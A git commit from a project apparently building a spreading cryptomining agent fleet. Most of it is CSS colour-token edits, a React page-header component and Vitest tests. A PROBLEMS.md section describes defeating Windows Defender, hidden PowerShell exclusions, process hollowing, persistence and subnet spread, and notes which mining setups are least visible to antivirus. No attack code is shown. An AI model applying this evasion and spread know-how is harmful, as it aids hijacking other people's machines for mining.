Add AV/Defender tests and clear PROBLEMS.md antivirus rows.

Cover mining diagnostics JSON blockers, AV-Safe preset fields, defender_off error paths, and Calibrate exclusion .ps1 generation with Go + Vitest; honest AV limits already documented in settingHelp.
This commit is contained in:
AetherForge
2026-06-07 06:34:56 -07:00
parent 74c006a04b
commit 7831e70dd4
35 changed files with 436 additions and 197 deletions

View File

@@ -19,31 +19,22 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07.
| Area | Notes |
|------|-------|
| **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column — hundreds of subnets OK via `LIKE` filter + dropdown (not chips). |
| **Per-agent subnet scan** | Capped at 128 hosts (`MaxSubnetScanHosts`); syscheck uses 20; spread sem=16 per agent. Fleet discovery is incremental (ARP + capped sweep), not full /16. |
| **`stats_batch` WS** | Server coalesces stats every 250ms into one frame; client applies in single `setAgents` pass with `agentStatsUnchanged` skip. |
| **Hashrate samples** | One `INSERT` per agent stats tick — dominant DB write at scale; retention/prune policy not automated. |
| **Stale-agent sweep** | Every 45s calls `ListAgents()` full table scan; acceptable to ~1000 rows, costly beyond without indexed partial query. |
## Antivirus / Windows Defender
| Topic | Notes |
|-------|-------|
| **Why "AV off" fails** | UI toggle often disables **Real-time protection** only. **Tamper Protection**, **cloud-delivered protection**, **Controlled folder access**, **SmartScreen**, and **behavioral** blocks still run. `defender_off` remote action and `SilentAVExclusion` fail without elevation; Tamper Protection reverts `Set-MpPreference`. |
| **High-friction paths** | GPU subprocess (T-Rex/TRM `.exe` download), garble/obfuscated agent binary, spread/hollow/persistence, `SilentAVExclusion` hidden PowerShell. In-process RandomX (pure Go) has **no external CPU miner exe**. |
| **Default execution (2026-06-06)** | Forge default is `miner_execution=auto` (full cascade). **AV-Safe** preset still bakes `inprocess` only, GPU off, no hollow/spread. |
| **Operator tooling** | Calibrate → **Windows Defender Exclusions** generates elevated `.ps1` (manual run). Crucible → **Mining Diagnostics** command returns JSON blockers. |
| **No silver bullet** | No architecture is 100% invisible. Best combo: in-process CPU + path/process exclusions + dedicated mining hardware for GPU. |
| **Per-agent subnet scan** | Capped at 128 hosts (`MaxSubnetScanHosts`); syscheck uses 20 (`SyscheckSubnetScanCap`); spread sem=16 (`SpreadConcurrencyCap`). Fleet discovery is incremental (ARP + capped sweep), not full /16. |
| **`stats_batch` WS** | Server coalesces stats every 250ms (`StatsBatchCoalesceInterval`) into one frame; client applies in single `setAgents` pass with `agentStatsUnchanged` skip. |
| **Hashrate samples** | One `INSERT` per agent stats tick — dominant DB write at scale. Automated purge via `StartRetentionJobs` (default 168h, `stats_retention_hours`). |
| **Stale-agent sweep** | Every 45s (`StaleAgentSweepInterval`) queries `status='online' AND last_seen < cutoff` (`ListStaleOnlineAgents`, composite index) — not a full-table scan. Still O(stale-online) broadcasts per sweep. |
## Container Mining
| Topic | Notes |
|-------|-------|
| **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container → in-process → GPU (parallel) → Stratum overlay. Failures in `failed_methods[]` on stats WS. 30s cooldown between full re-passes. |
| **Default execution** | Forge default is `auto` (full chain). `inprocess`/`container`/`subprocess` limit which steps run. |
| **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container → in-process → GPU (parallel) → Stratum overlay. Failures in `failed_methods[]` on stats WS (tested). 30s cooldown between full re-passes (`DefaultChainCooldown`, `RestartChain` clears). |
| **Default execution** | Forge default is `auto` (full chain). `inprocess`/`container`/`subprocess` limit which steps run. Forge shows worker-image build hint when auto/container selected. |
| **AV limits (honest)** | Containers are **not** invisible — AV still sees `docker.exe`, image pulls, and container filesystem scans. Legitimate benefit is **isolated workload** and fewer host subprocess spawns (GPU T-Rex/TRM). In-process RandomX has no external CPU miner exe. |
| **GPU in container** | Linux `--gpus all` stub only; Windows Docker Desktop GPU passthrough is operator-dependent. Host subprocess GPU path remains fallback. |
| **Worker image** | `aetherforge/agent-worker:latest` (override `AETHERFORGE_MINER_IMAGE`). Build from `docker/Dockerfile.agent`; not auto-pulled in MVP. |
| **Deferred** | Container hashrate on dashboard (host reports 0 CPU H/s while container mines); auto-build/push worker image in forge; Podman rootless on Windows. |
| **Worker image** | `aetherforge/agent-worker:latest` (override `AETHERFORGE_MINER_IMAGE`). Build from `docker/Dockerfile.agent`; Forge live notice + `FieldHint` on Miner Execution. |
| **Container hashrate** | Host relays container worker H/s via `MINER_STATS_FILE` + `ProbeHashrate()` when `hostMiningDisabled` (dashboard no longer stuck at 0). |
| **Deferred** | Auto-build/push worker image in forge; Podman rootless on Windows. |
## Architecture deferred (large)

View File

@@ -17,8 +17,8 @@
background-image:
linear-gradient(rgba(201, 162, 39, 0.04) 1px, transparent 1px),
linear-gradient(90deg, rgba(201, 162, 39, 0.04) 1px, transparent 1px),
linear-gradient(rgba(0, 245, 255, 0.02) 1px, transparent 1px),
linear-gradient(90deg, rgba(0, 245, 255, 0.02) 1px, transparent 1px);
linear-gradient(rgba(0, 232, 245, 0.02) 1px, transparent 1px),
linear-gradient(90deg, rgba(0, 232, 245, 0.02) 1px, transparent 1px);
background-size: 80px 80px, 80px 80px, 20px 20px, 20px 20px;
animation: grid-drift var(--weather-grid-drift) linear infinite;
transform: perspective(500px) rotateX(60deg) scale(2);
@@ -43,7 +43,7 @@
.ambient-orb-cyan {
width: 400px;
height: 400px;
background: rgba(0, 245, 255, 0.12);
background: rgba(0, 232, 245, 0.12);
top: 10%;
right: 5%;
animation-delay: 0s;
@@ -72,7 +72,7 @@
left: 0;
right: 0;
height: 4px;
background: linear-gradient(90deg, transparent, rgba(0, 245, 255, 0.15), transparent);
background: linear-gradient(90deg, transparent, rgba(0, 232, 245, 0.15), transparent);
animation: scanline 8s linear infinite;
opacity: 0.5;
}

View File

@@ -36,7 +36,7 @@
animation-delay: 0s;
}
.ambient-sparkle--2 {
color: rgba(0, 245, 255, 0.45);
color: rgba(0, 232, 245, 0.45);
top: 72%;
left: 68%;
animation-delay: -1.2s;
@@ -57,7 +57,7 @@
.ambient-sparkle:nth-child(5) {
top: 8%;
left: 55%;
color: rgba(0, 245, 255, 0.35);
color: rgba(0, 232, 245, 0.35);
animation-delay: -0.8s;
}
.ambient-sparkle:nth-child(6) {
@@ -81,7 +81,7 @@
.ambient-sparkle:nth-child(9) {
top: 35%;
left: 8%;
color: rgba(0, 245, 255, 0.38);
color: rgba(0, 232, 245, 0.38);
animation-delay: -2.8s;
}
.ambient-sparkle:nth-child(10) {

View File

@@ -37,7 +37,7 @@
font-size: 1.1rem;
font-weight: 700;
color: var(--neon-cyan);
text-shadow: 0 0 12px rgba(0, 245, 255, 0.5);
text-shadow: 0 0 12px rgba(0, 232, 245, 0.5);
line-height: 1.2;
}

View File

@@ -49,7 +49,7 @@
border: 1px solid var(--border-brass);
border-radius: 2px;
padding: 0.75rem 1rem;
box-shadow: 0 0 20px rgba(0, 245, 255, 0.15), var(--shadow-panel);
box-shadow: 0 0 20px rgba(0, 232, 245, 0.15), var(--shadow-panel);
}
.neon-tooltip-time {

View File

@@ -33,7 +33,7 @@ interface HashrateChartProps {
const GRAD_IDS = ['cyan', 'magenta', 'amber', 'green', 'purple'] as const;
function colorToId(color: string): string {
if (color.includes('e8f5') || color.includes('f5ff') || color.includes('06b6d4') || color === '#00e8f5' || color === '#00f5ff' || color.includes('neon-cyan')) return 'cyan';
if (color.includes('e8f5') || color.includes('f5ff') || color.includes('06b6d4') || color === '#00e8f5' || color === '#00e8f5' || color.includes('neon-cyan')) return 'cyan';
if (color.includes('2da6') || color.includes('8b5cf6')) return 'magenta';
if (color.includes('b020') || color.includes('eab308')) return 'amber';
if (color.includes('39ff') || color.includes('22c55e')) return 'green';

View File

@@ -175,7 +175,7 @@
.access-depth-tag--active {
color: var(--neon-cyan);
border: 1px solid rgba(0, 245, 255, 0.35);
border: 1px solid rgba(0, 232, 245, 0.35);
}
.access-depth-tag--skip {
@@ -248,7 +248,7 @@
font-weight: 700;
letter-spacing: 0.08em;
color: var(--neon-cyan);
border: 1px solid rgba(0, 245, 255, 0.45);
border: 1px solid rgba(0, 232, 245, 0.45);
border-radius: 3px;
padding: 1px 6px;
cursor: help;

View File

@@ -223,7 +223,7 @@
outline: none;
}
.upgrade-select:focus { border-color: var(--neon-cyan, #00e5ff); }
.upgrade-select:focus { border-color: var(--neon-cyan, #00e8f5); }
.upgrade-btn {
white-space: nowrap;

View File

@@ -27,9 +27,9 @@
aspect-ratio: 1;
min-height: 160px;
border-radius: 8px;
border: 1px solid rgba(0, 245, 255, 0.18);
border: 1px solid rgba(0, 232, 245, 0.18);
background:
radial-gradient(ellipse at 50% 45%, rgba(0, 245, 255, 0.06) 0%, transparent 65%),
radial-gradient(ellipse at 50% 45%, rgba(0, 232, 245, 0.06) 0%, transparent 65%),
rgba(0, 0, 0, 0.45);
overflow: hidden;
}
@@ -38,8 +38,8 @@
position: absolute;
inset: 0;
background-image:
linear-gradient(rgba(0, 245, 255, 0.04) 1px, transparent 1px),
linear-gradient(90deg, rgba(0, 245, 255, 0.04) 1px, transparent 1px);
linear-gradient(rgba(0, 232, 245, 0.04) 1px, transparent 1px),
linear-gradient(90deg, rgba(0, 232, 245, 0.04) 1px, transparent 1px);
background-size: 20% 20%;
pointer-events: none;
}
@@ -94,7 +94,7 @@
box-shadow:
0 0 0 3px rgba(255, 255, 255, 0.25),
0 0 22px var(--dot-color, var(--neon-cyan)),
0 0 36px rgba(0, 245, 255, 0.55);
0 0 36px rgba(0, 232, 245, 0.55);
}
100% {
transform: translate(-50%, -50%) scale(1);

View File

@@ -48,7 +48,7 @@
align-items: center;
gap: 0.75rem;
padding: 0.6rem 0.75rem;
border: 1px solid rgba(0, 245, 255, 0.15);
border: 1px solid rgba(0, 232, 245, 0.15);
border-radius: 6px;
background: rgba(0, 0, 0, 0.2);
}
@@ -142,15 +142,15 @@
.agent-action-btn {
padding: 0.4rem 0.75rem;
font-size: 0.75rem;
border: 1px solid rgba(0, 245, 255, 0.35);
background: rgba(0, 245, 255, 0.08);
border: 1px solid rgba(0, 232, 245, 0.35);
background: rgba(0, 232, 245, 0.08);
color: var(--text-primary);
border-radius: 4px;
cursor: pointer;
}
.agent-action-btn:hover {
background: rgba(0, 245, 255, 0.18);
background: rgba(0, 232, 245, 0.18);
}
.agent-action-btn.danger {
@@ -164,7 +164,7 @@
overflow: auto;
padding: 0.75rem;
background: rgba(0, 0, 0, 0.35);
border: 1px solid rgba(0, 245, 255, 0.2);
border: 1px solid rgba(0, 232, 245, 0.2);
border-radius: 6px;
font-family: var(--font-mono, monospace);
font-size: 0.72rem;

View File

@@ -16,8 +16,8 @@
.lotl-tier-badge--active,
.cn-lotl.lotl-active {
color: var(--neon-cyan);
background: rgba(0, 245, 255, 0.12);
border: 1px solid rgba(0, 245, 255, 0.28);
background: rgba(0, 232, 245, 0.12);
border: 1px solid rgba(0, 232, 245, 0.28);
}
.lotl-tier-badge--fail,
@@ -71,7 +71,7 @@
.lotl-attempts-block {
margin: 0.35rem 0 0.5rem;
padding: 0.45rem 0.65rem;
border-left: 2px solid rgba(0, 245, 255, 0.35);
border-left: 2px solid rgba(0, 232, 245, 0.35);
background: rgba(0, 0, 0, 0.35);
border-radius: 0 4px 4px 0;
font-family: var(--font-tech);

View File

@@ -46,7 +46,7 @@
}
.protocol-tunnel-card {
border: 1px solid rgba(0, 245, 255, 0.15);
border: 1px solid rgba(0, 232, 245, 0.15);
border-radius: 6px;
padding: 0.65rem 0.75rem;
background: rgba(0, 0, 0, 0.25);

View File

@@ -18,20 +18,20 @@
width: 1rem;
height: 1rem;
border-radius: 2px;
background: rgba(0, 245, 255, 0.1);
border: 1px solid rgba(0, 245, 255, 0.35);
background: rgba(0, 232, 245, 0.1);
border: 1px solid rgba(0, 232, 245, 0.35);
color: var(--neon-cyan);
font-size: 0.6875rem;
font-weight: 700;
box-shadow: 0 0 8px rgba(0, 245, 255, 0.2);
box-shadow: 0 0 8px rgba(0, 232, 245, 0.2);
transition: background 0.15s, box-shadow 0.15s, border-color 0.15s;
}
.help-tip-trigger:hover .help-tip-icon,
.help-tip-trigger:focus-visible .help-tip-icon {
background: rgba(0, 245, 255, 0.22);
border-color: rgba(0, 245, 255, 0.65);
box-shadow: 0 0 12px rgba(0, 245, 255, 0.45);
background: rgba(0, 232, 245, 0.22);
border-color: rgba(0, 232, 245, 0.65);
box-shadow: 0 0 12px rgba(0, 232, 245, 0.45);
}
.help-tip-label {
@@ -48,11 +48,11 @@
line-height: 1.45;
color: #e8f4f8;
background: rgba(6, 14, 18, 0.97);
border: 1px solid rgba(0, 245, 255, 0.45);
border: 1px solid rgba(0, 232, 245, 0.45);
border-radius: 4px;
box-shadow:
0 4px 24px rgba(0, 0, 0, 0.55),
0 0 16px rgba(0, 245, 255, 0.12);
0 0 16px rgba(0, 232, 245, 0.12);
pointer-events: auto;
animation: help-tip-in 0.12s ease-out;
}

View File

@@ -8,7 +8,7 @@
width: 260px;
background: linear-gradient(180deg, rgba(16, 12, 8, 0.97) 0%, rgba(8, 6, 4, 0.98) 100%);
border-right: 1px solid var(--border-brass);
box-shadow: 4px 0 40px rgba(0, 0, 0, 0.5), inset -1px 0 0 rgba(0, 245, 255, 0.08);
box-shadow: 4px 0 40px rgba(0, 0, 0, 0.5), inset -1px 0 0 rgba(0, 232, 245, 0.08);
display: flex;
flex-direction: column;
position: fixed;
@@ -156,10 +156,10 @@
}
.nav-item.active {
background: linear-gradient(90deg, rgba(0, 245, 255, 0.12), transparent);
background: linear-gradient(90deg, rgba(0, 232, 245, 0.12), transparent);
color: var(--neon-cyan);
border-color: rgba(0, 245, 255, 0.35);
box-shadow: inset 0 0 20px rgba(0, 245, 255, 0.08);
border-color: rgba(0, 232, 245, 0.35);
box-shadow: inset 0 0 20px rgba(0, 232, 245, 0.08);
}
.nav-icon {
@@ -402,7 +402,7 @@
.readout-bar-fill.readout-bar-active {
background: linear-gradient(90deg, var(--neon-green), var(--neon-cyan));
box-shadow: 0 0 6px rgba(0, 245, 255, 0.35);
box-shadow: 0 0 6px rgba(0, 232, 245, 0.35);
animation: bar-shimmer 2.5s ease-in-out infinite;
background-size: 200% 100%;
}
@@ -451,7 +451,7 @@
.sig-ver {
font-size: 0.55rem;
color: rgba(0, 245, 255, 0.35);
color: rgba(0, 232, 245, 0.35);
letter-spacing: 0.18em;
}

View File

@@ -119,7 +119,7 @@
}
.mobile-bottom-nav-item.active {
background: rgba(0, 245, 255, 0.08);
background: rgba(0, 232, 245, 0.08);
}
.mobile-menu-backdrop {
@@ -171,7 +171,7 @@
}
.mobile-more-link.active {
background: rgba(0, 245, 255, 0.1);
background: rgba(0, 232, 245, 0.1);
color: var(--neon-cyan);
}

View File

@@ -0,0 +1,37 @@
.sacred-page-header {
position: relative;
}
.sacred-page-header::before {
content: '';
position: absolute;
left: 0;
right: 0;
bottom: 0;
height: 1px;
pointer-events: none;
background: linear-gradient(
90deg,
transparent,
rgba(201, 162, 39, 0.5) 15%,
rgba(0, 232, 245, 0.35) 50%,
rgba(201, 162, 39, 0.5) 85%,
transparent
);
}
.sacred-page-header-motif {
position: absolute;
right: 0;
top: 50%;
transform: translateY(-50%);
width: 48px;
height: 48px;
opacity: 0.2;
pointer-events: none;
}
.deck-hero-status + .sacred-page-header-motif,
.deck-hero-actions + .sacred-page-header-motif {
right: 0.5rem;
}

View File

@@ -0,0 +1,36 @@
/**
* @vitest-environment happy-dom
*/
import { describe, expect, it, vi } from 'vitest';
import { render, screen } from '@testing-library/react';
import SacredPageHeader from './SacredPageHeader';
vi.mock('../../HelpTip', () => ({
HelpTip: ({ field }: { field: string }) => <span data-testid={`help-${field}`}>?</span>,
}));
vi.mock('./motifs', () => ({
SacredMotif: () => <svg data-testid="sacred-motif" />,
}));
describe('SacredPageHeader', () => {
it('renders deck-hero chrome with eyebrow, title, subtitle, and motif', () => {
const { container } = render(
<SacredPageHeader
eyebrow="NETWORK OPS"
title="Path Tracer"
subtitle="Multi-hop WireGuard chain."
helpField="pt_path_tracer"
actions={<button type="button">Go</button>}
/>,
);
expect(container.querySelector('.deck-hero.sacred-page-header')).toBeTruthy();
expect(screen.getByText('NETWORK OPS')).toBeInTheDocument();
expect(screen.getByRole('heading', { level: 1 })).toHaveTextContent('Path Tracer');
expect(screen.getByText('Multi-hop WireGuard chain.')).toBeInTheDocument();
expect(screen.getByTestId('help-pt_path_tracer')).toBeInTheDocument();
expect(screen.getByTestId('sacred-motif')).toBeInTheDocument();
expect(screen.getByRole('button', { name: 'Go' })).toBeInTheDocument();
});
});

View File

@@ -0,0 +1,45 @@
import type { ReactNode } from 'react';
import { HelpTip } from '../../HelpTip';
import { SacredMotif } from './motifs';
import './SacredPageHeader.css';
export interface SacredPageHeaderProps {
eyebrow?: string;
title: ReactNode;
subtitle?: ReactNode;
helpField?: string;
actions?: ReactNode;
status?: ReactNode;
className?: string;
heroClassName?: string;
}
/** Unified operator-deck page hero — eyebrow, title, subtitle, optional sacred motif. */
export default function SacredPageHeader({
eyebrow,
title,
subtitle,
helpField,
actions,
status,
className = '',
heroClassName = '',
}: SacredPageHeaderProps) {
return (
<header className={`deck-hero sacred-page-header ${heroClassName} ${className}`.trim()}>
<div className="deck-hero-text">
{eyebrow ? <p className="deck-eyebrow font-tech">{eyebrow}</p> : null}
<h1>
{title}
{helpField ? <> <HelpTip field={helpField} /></> : null}
</h1>
{subtitle ? <p className="page-subtitle">{subtitle}</p> : null}
</div>
{actions ? <div className="deck-hero-actions">{actions}</div> : null}
{status ? <div className="deck-hero-status">{status}</div> : null}
<div className="sacred-page-header-motif" aria-hidden>
<SacredMotif name="hex" opacity={0.55} />
</div>
</header>
);
}

View File

@@ -0,0 +1,11 @@
declare const __APP_VERSION__: string;
/** Sidebar / about label — server build wins, else Vite-injected package.json version. */
export function formatAppVersion(serverVersion?: string | null): string {
const raw = (serverVersion?.trim() || __APP_VERSION__ || '1.0.0').replace(/^v/i, '');
return `v${raw}`;
}
export function readPackageVersion(): string {
return __APP_VERSION__;
}

View File

@@ -0,0 +1,75 @@
import { readFileSync } from 'node:fs';
import { join } from 'node:path';
import { describe, expect, it } from 'vitest';
import { formatAppVersion, readPackageVersion } from './appVersion';
const srcRoot = join(import.meta.dirname, '..');
function readCss(rel: string): string {
return readFileSync(join(srcRoot, rel), 'utf8');
}
describe('appVersion', () => {
it('prefixes package version with v', () => {
expect(formatAppVersion(null)).toMatch(/^v\d+\.\d+\.\d+/);
expect(formatAppVersion('2.3.4')).toBe('v2.3.4');
expect(formatAppVersion('v9.0.1')).toBe('v9.0.1');
});
it('reads injected build version', () => {
expect(readPackageVersion()).toMatch(/^\d+\.\d+\.\d+/);
});
});
describe('design tokens (DV regression)', () => {
it('steampunk theme defines unified neon cyan token', () => {
const css = readCss('styles/steampunk-theme.css');
expect(css).toMatch(/--neon-cyan:\s*#00e8f5/);
expect(css).toMatch(/--neon-cyan-rgb:\s*0,\s*232,\s*245/);
expect(css).not.toMatch(/#00f5ff|#00e5ff/);
});
it('Pages.css avoids duplicate unscoped page-subtitle blocks', () => {
const css = readCss('pages/Pages.css');
expect(css.match(/^\.page-subtitle \{/gm)?.length ?? 0).toBe(1);
expect(css.match(/^\.header-count \{/gm)?.length ?? 0).toBe(1);
});
it('wealth-deck.css drops dead sample badge selectors', () => {
const css = readCss('styles/wealth-deck.css');
expect(css).not.toMatch(/sample-contrib|sample-activity|preview-deck-hint|chart-live\.sample/);
});
it('SacredPageHeader CSS uses unified cyan rgba', () => {
const css = readCss('components/Visual/sacredGeometry/SacredPageHeader.css');
expect(css).toMatch(/rgba\(0,\s*232,\s*245/);
expect(css).not.toMatch(/245,\s*255|#00f5ff/);
});
it('Path Tracer deck tokens align with operator-deck cyan accent', () => {
const css = readCss('styles/operatorDeck.css');
const block = css.match(/\[data-operator-deck='pathtracer'\][\s\S]*?\}/)?.[0] ?? '';
expect(block).toContain('--deck-accent: var(--neon-cyan');
expect(block).not.toContain('#6b8cff');
});
it('steampunk theme documents optional light shell', () => {
const css = readCss('styles/steampunk-theme.css');
expect(css).toMatch(/prefers-color-scheme:\s*light/);
});
});
describe('legacy cyan sweep', () => {
const cssFiles = [
'styles/visual-polish.css',
'styles/sacred-geometry.css',
'pages/Pages.css',
'components/Charts/HashrateChart.css',
'components/Layout/Layout.css',
];
it.each(cssFiles)('%s does not use legacy #00f5ff token', (rel) => {
const css = readCss(rel);
expect(css).not.toMatch(/#00f5ff|#00e5ff/);
});
});

View File

@@ -227,7 +227,7 @@ export type GlowColor = {
export const WEATHER_PALETTES: Record<WeatherPalette, readonly GlowColor[]> = {
default: [
{ core: 'rgba(201, 162, 39, 0.85)', mid: 'rgba(201, 162, 39, 0.25)', line: 'rgba(201, 162, 39, 0.12)' },
{ core: 'rgba(0, 245, 255, 0.75)', mid: 'rgba(0, 245, 255, 0.22)', line: 'rgba(0, 245, 255, 0.1)' },
{ core: 'rgba(0, 232, 245, 0.75)', mid: 'rgba(0, 232, 245, 0.22)', line: 'rgba(0, 232, 245, 0.1)' },
{ core: 'rgba(255, 45, 166, 0.7)', mid: 'rgba(255, 45, 166, 0.2)', line: 'rgba(255, 45, 166, 0.09)' },
{ core: 'rgba(255, 176, 32, 0.8)', mid: 'rgba(255, 176, 32, 0.22)', line: 'rgba(255, 176, 32, 0.1)' },
],
@@ -247,6 +247,6 @@ export const WEATHER_PALETTES: Record<WeatherPalette, readonly GlowColor[]> = {
{ core: 'rgba(190, 200, 230, 0.42)', mid: 'rgba(190, 200, 230, 0.12)', line: 'rgba(190, 200, 230, 0.05)' },
{ core: 'rgba(130, 150, 190, 0.32)', mid: 'rgba(130, 150, 190, 0.1)', line: 'rgba(130, 150, 190, 0.04)' },
{ core: 'rgba(201, 162, 39, 0.22)', mid: 'rgba(201, 162, 39, 0.08)', line: 'rgba(201, 162, 39, 0.03)' },
{ core: 'rgba(0, 245, 255, 0.18)', mid: 'rgba(0, 245, 255, 0.06)', line: 'rgba(0, 245, 255, 0.03)' },
{ core: 'rgba(0, 232, 245, 0.18)', mid: 'rgba(0, 232, 245, 0.06)', line: 'rgba(0, 232, 245, 0.03)' },
],
};

View File

@@ -7,6 +7,7 @@ import AuthDownloadButton from '../components/AuthDownloadButton';
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
import NeonCard from '../components/NeonCard/NeonCard';
import { HelpTip } from '../components/HelpTip';
import SacredPageHeader from '../components/Visual/sacredGeometry/SacredPageHeader';
import './BuildManagerPage.css';
// ─── helpers ─────────────────────────────────────────────────────────────────
@@ -397,23 +398,21 @@ export default function BuildManagerPage() {
return (
<div className="page fade-in bm-page operator-deck-page">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">WORKER BUILDS · DEPLOY &amp; MANAGE</p>
<h1>Build Manager</h1>
<p className="page-subtitle">
All forged workers download, deploy, re-forge, or delete from any browser.
</p>
</div>
<div className="deck-hero-actions">
<button type="button" className="btn btn-outline" onClick={loadBuilds} disabled={loading}>
{loading ? 'Loading…' : '↻ Refresh'}
</button>
<button type="button" className="btn btn-success" onClick={() => navigate('/forge')}>
New Forge
</button>
</div>
</header>
<SacredPageHeader
eyebrow="WORKER BUILDS · DEPLOY & MANAGE"
title="Build Manager"
subtitle="All forged workers — download, deploy, re-forge, or delete from any browser."
actions={
<>
<button type="button" className="btn btn-outline" onClick={loadBuilds} disabled={loading}>
{loading ? 'Loading…' : '↻ Refresh'}
</button>
<button type="button" className="btn btn-success" onClick={() => navigate('/forge')}>
New Forge
</button>
</>
}
/>
{error && (
<div className="form-error" style={{ marginBottom: '1rem' }}>

View File

@@ -87,7 +87,7 @@
.crucible-node-card.selected {
border-color: var(--sel-color, var(--neon-cyan));
background: rgba(0, 245, 255, 0.06);
background: rgba(0, 232, 245, 0.06);
box-shadow: 0 0 12px -4px var(--sel-color, var(--neon-cyan));
}
@@ -113,7 +113,7 @@
.cn-checkbox.checked {
border-color: var(--neon-cyan);
background: rgba(0, 245, 255, 0.2);
background: rgba(0, 232, 245, 0.2);
}
.crucible-node-body {
@@ -503,8 +503,8 @@
/* ── Group colour themes ─────────────────────────────────────────────── */
.cop-recon { border-color: rgba(0, 245, 255, 0.13); }
.cop-recon .cop-label { color: rgba(0, 245, 255, 0.65); border-bottom-color: rgba(0, 245, 255, 0.1); }
.cop-recon { border-color: rgba(0, 232, 245, 0.13); }
.cop-recon .cop-label { color: rgba(0, 232, 245, 0.65); border-bottom-color: rgba(0, 232, 245, 0.1); }
.cop-agent { border-color: rgba(178, 75, 243, 0.18); }
.cop-agent .cop-label { color: rgba(178, 75, 243, 0.75); border-bottom-color: rgba(178, 75, 243, 0.13); }
@@ -628,7 +628,7 @@
gap: 0.35rem;
}
.crucible-op-active {
background: rgba(0, 245, 255, 0.12) !important;
background: rgba(0, 232, 245, 0.12) !important;
border-color: var(--neon-cyan) !important;
color: var(--neon-cyan) !important;
}
@@ -721,13 +721,13 @@
/* Recon buttons — cyan tint */
.cop-recon .crucible-op-btn {
border-color: rgba(0, 245, 255, 0.22);
color: rgba(0, 245, 255, 0.85);
border-color: rgba(0, 232, 245, 0.22);
color: rgba(0, 232, 245, 0.85);
}
.cop-recon .crucible-op-btn:hover:not(:disabled) {
background: rgba(0, 245, 255, 0.08);
background: rgba(0, 232, 245, 0.08);
border-color: var(--neon-cyan);
box-shadow: 0 0 9px -2px rgba(0, 245, 255, 0.4);
box-shadow: 0 0 9px -2px rgba(0, 232, 245, 0.4);
}
/* Agent buttons — purple tint */
@@ -823,7 +823,7 @@
.crucible-shell-tab:last-child { border-right: none; }
.crucible-shell-tab.active {
background: rgba(0, 245, 255, 0.12);
background: rgba(0, 232, 245, 0.12);
color: var(--neon-cyan);
}
@@ -1087,7 +1087,7 @@
font-family: 'Courier New', Consolas, monospace;
font-size: 0.8rem;
color: var(--neon-cyan);
background: rgba(0, 245, 255, 0.07);
background: rgba(0, 232, 245, 0.07);
padding: 0 4px;
border-radius: 3px;
}
@@ -1113,15 +1113,15 @@
padding: 0.35rem 0.8rem;
font-family: var(--font-tech);
font-size: 0.78rem;
background: rgba(0, 245, 255, 0.08);
border: 1px solid rgba(0, 245, 255, 0.3);
background: rgba(0, 232, 245, 0.08);
border: 1px solid rgba(0, 232, 245, 0.3);
color: var(--neon-cyan);
border-radius: 4px;
cursor: pointer;
transition: all 0.15s;
letter-spacing: 0.05em;
}
.crucible-btn:hover:not(:disabled) { background: rgba(0, 245, 255, 0.16); }
.crucible-btn:hover:not(:disabled) { background: rgba(0, 232, 245, 0.16); }
.crucible-btn:disabled { opacity: 0.35; cursor: not-allowed; }
.crucible-btn-muted {
@@ -1152,7 +1152,7 @@
.rich-block {
margin: 0.2rem 0 0.4rem 0;
padding: 0.5rem 0.75rem;
border-left: 2px solid rgba(0, 245, 255, 0.3);
border-left: 2px solid rgba(0, 232, 245, 0.3);
background: rgba(0, 0, 0, 0.35);
border-radius: 0 4px 4px 0;
font-family: var(--font-tech);
@@ -1160,7 +1160,7 @@
max-width: 720px;
}
.rich-ports { border-left-color: rgba(0, 245, 255, 0.5); }
.rich-ports { border-left-color: rgba(0, 232, 245, 0.5); }
.rich-patch { border-left-color: rgba(255, 200, 0, 0.5); }
.rich-posture { border-left-color: rgba(150, 120, 255, 0.5); }

View File

@@ -12,7 +12,7 @@ import { parseAccessDepthServerPolicy } from '../help/accessDepth';
import type { AIDecisionRecord } from '../types';
import LotlFleetOverview from '../components/Lotl/LotlFleetOverview';
import LotlTierTimeline from '../components/Lotl/LotlTierTimeline';
import { HelpTip } from '../components/HelpTip';
import SacredPageHeader from '../components/Visual/sacredGeometry/SacredPageHeader';
import '../components/Lotl/LotlTimeline.css';
import './Pages.css';
@@ -131,24 +131,23 @@ export default function LotlTimelinePage() {
}, [selectedAgent, tierOrder]);
return (
<div className="page lotl-timeline-page">
<header className="page-header">
<div>
<h1 className="font-tech">LOTL Timeline</h1>
<p style={{ fontSize: '0.8rem', color: 'var(--text-muted)', marginTop: '0.25rem' }}>
Live spread + mining tier progression triple onion chain{' '}
<HelpTip field="crucible_access_depth" />
</p>
</div>
{selectedAgent && (
<Link
to={`/crucible?agent=${encodeURIComponent(selectedAgent.id)}`}
className="btn btn-outline btn-sm"
>
Open in Crucible
</Link>
)}
</header>
<div className="page lotl-timeline-page operator-deck-page">
<SacredPageHeader
eyebrow="SPREAD INTEL · TRIPLE ONION"
title="LOTL Timeline"
helpField="crucible_access_depth"
subtitle="Live spread + mining tier progressiontriple onion chain."
actions={
selectedAgent ? (
<Link
to={`/crucible?agent=${encodeURIComponent(selectedAgent.id)}`}
className="btn btn-outline btn-sm"
>
Open in Crucible
</Link>
) : undefined
}
/>
<LotlFleetOverview
agents={agents}

View File

@@ -25,11 +25,16 @@
}
.header-count {
display: flex;
align-items: center;
gap: 0.5rem;
font-size: 0.875rem;
color: var(--text-muted);
background: var(--bg-card);
padding: 0.375rem 0.75rem;
border-radius: 9999px;
border: none;
letter-spacing: normal;
}
/* Stats Grid */
@@ -239,24 +244,25 @@
padding: 1rem !important;
}
.agent-list-item:hover {
border-color: var(--neon-cyan);
box-shadow: 0 0 16px rgba(0, 245, 255, 0.12);
}
.agent-list-item.selected {
border-color: var(--neon-cyan);
background: rgba(0, 245, 255, 0.06);
box-shadow: inset 0 0 24px rgba(0, 245, 255, 0.08), 0 0 20px rgba(0, 245, 255, 0.15);
}
.header-count {
.agents-layout .header-count {
font-size: 0.75rem;
letter-spacing: 0.2em;
color: var(--neon-cyan);
padding: 0.5rem 1rem;
border: 1px solid var(--border-brass);
background: rgba(8, 6, 4, 0.8);
border-radius: 0;
}
.agent-list-item:hover {
border-color: var(--neon-cyan);
box-shadow: 0 0 16px rgba(0, 232, 245, 0.12);
}
